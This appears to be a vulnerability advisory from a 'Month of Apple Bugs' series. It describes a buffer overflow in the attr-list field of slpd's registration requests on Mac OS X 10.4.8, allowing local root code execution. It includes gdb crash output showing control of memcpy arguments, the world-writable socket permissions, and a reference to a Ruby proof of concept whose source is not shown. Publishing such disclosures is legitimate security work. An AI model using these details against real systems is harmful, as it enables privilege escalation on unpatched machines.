NSL is a protocol independent library which has existed since Mac OS 8.5, it predominately uses Service Location Protocol (SLP) and AppleTalk for service discovery. The Abstract section of RFC-2608 (Service Location Protocol, Version 2) has the following definition of SLP:
The Service Location Protocol provides a scalable framework for the discovery and selection of network services. Using this protocol, networked computers need little or no static configuration of services for network based applications. This is especially important as computers become more portable, and users less tolerant or able to fulfill the demands of network system administration.
In Mac OS X 10.2, Apple introduced three new APIs that use
Bonjour for service discovery. The new APIs are
DNSServiceDiscovery. In general If your application is targeted to run on Mac OS X 10.2 and later, Apple
highly recommends that you use the Bonjour APIs directly for your service discovery needs, instead of NSL.
/usr/sbin/slpd is the path to the Apple Minimal SLP v2 Service Agent, according to the RFC this type
of agent is "A process working on the behalf of one or more services to advertise the services". The man page
provides the following description:
The SLP daemon (Service Location Protocol) advertises local services to the network. It supports registrations from the slp_reg tool as well as NSL (Network Service Location) and the Directory Services SLP plugin.
slpd is vulnerable to a buffer overflow condition when processing the attr-list
field of a registration request, leading to an exploitable denial of service condition and
potential arbitrary execution. It would allow unprivileged local (and possibly remote) users to
execute arbitrary code under root privileges.
Remote exploitation seems possible, although it's still being verified.
slpd distributed in Mac OS X versions up to 10.4.8 is vulnerable.
Information in this release has been verified on Mac OS X 10.4.8 (8L2127), x86.
Proof of concept, exploit or instructions to reproduce
The provided proof of concept uses the local socket opened by
slpd for sending the payload.
Check the source code for more information.
$ ruby MOAB-17-01-2007.rb
slpd must be running. It can be enabled in the system preferences as "Personal
The following debugging information shows the privileges of the
the permissions of the socket used to listen for local registration requests and the result
of running the proof of concept against it.
Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_INVALID_ADDRESS at address: 0x8edd9eb1 [Switching to process 22158 thread 0x1e03] 0xffff0ac4 in ___memcpy () 228 in /System/Library/Frameworks/System.framework/PrivateHeaders/i386/cpu_capabilities.h (gdb) i r eax 0xffff07a0 -63584 ecx 0xdeadbeed -559038739 edx 0x2 2 ebx 0xffffffff -1 esp 0xb02fdd70 0xb02fdd70 ebp 0xb02fdd78 0xb02fdd78 esi 0x8edd9eb1 -1898078543 edi 0x8ede19a2 -1898047070 eip 0xffff0ac4 0xffff0ac4 <___memcpy+804> (...) (gdb) x/12x $esp 0xb02fdd70: 0xb0305ab4 0x00000000 0xb0305ee8 0x0000b9a7 0xb02fdd80: 0xb0305ab3 0xb02fdfc3 0xdeadbeef 0xb0305ec4 0xb02fdd90: 0xb0305ebc 0xb0305eb8 0xb0305ecc 0xb0305ec8 (gdb) x/8x $ebp 0xb02fdd78: 0xb0305ee8 0x0000b9a7 0xb0305ab3 0xb02fdfc3 0xb02fdd88: 0xdeadbeef 0xb0305ec4 0xb0305ebc 0xb0305eb8 (gdb) break *0x0000b9a2 (gdb) r (...) (gdb) info breakpoints Num Type Disp Enb Address What 3 breakpoint keep y 0x0000b9a2 (gdb) x/1x 0xb02fddc5+506 0xb02fdfbf: 0xdeadbeef (gdb) x/1x 0xb02fddc5 0xb02fddc5: 0x58585858 (gdb) x/6 0xb991 0xb991: mov -32(%ebp),%eax 0xb994: mov %eax,8(%esp) 0xb998: mov -28(%ebp),%eax 0xb99b: mov %eax,4(%esp) 0xb99f: mov %ecx,(%esp) 0xb9a2: call 0x220dc <dyld_stub_memcpy> (gdb) x/1x $ebp-32 0xb0305ec8: 0xdeadbeef (gdb) x/1x $esp+8 0xb02fdd88: 0xdeadbeef (gdb) x/1x $ebp-28 0xb0305ecc: 0xb02fdfc3 (gdb) x/1x $esp+4 0xb02fdd84: 0xb02fdfc3 (gdb) x/1x $esp 0xb02fdd80: 0xb0305ab3
The following source code snippet shows the socket bind and the file mode being set. The output below it shows the privileges on the file afterwards and for the related processes.
----------- DSNSLPlugins-115.1/slpd/SLPInternalProcessListener.cpp status = bind( mSockfd, (struct sockaddr*)&serv_addr, servlen ); (...) status = chmod( kSLPdPath, S_IRWXU + S_IRGRP + S_IWGRP + S_IROTH + S_IWOTH ); ----------- $ ls -l /var/run/slp_ipc srwxrw-rw- 1 root daemon 0 Jan 11 16:40 /var/run/slp_ipc SVUID SVGID RGID RUID UID GID COMMAND 0 0 0 0 0 0 AppleFileServer 0 0 0 0 0 0 slpd -f /etc/slpsa.conf
For more information and issues: http://www.opensource.apple.com/darwinsource/10.4.8.x86/DSNSLPlugins-115.1
The provided proof of concept shows how
memcpy() arguments can be controlled,
influencing different registers. At this point, we won't be entering any cycle of
claims / counter-claims regarding exploitability of this and previous releases.
The necessary technical information is available here for those willing to do unbiased
checking. Although, if you are looking for lies and absolutely flawed assumptions
(both technical and 'ethical' wise), you are encouraged to read the
MoAB Fixes Group,
allegedly intended to be a helpful resource to fixes and workarounds for the issues published in
the MoAB, which has turned now into mere flame-war, biased, accusation-driven channel.
Workaround or temporary solution
Wait for Apple to release a patch. Disable Personal file sharing and ensure
slpd isn't running. This issue was reported to Apple on 8/2/06 5:31 PM.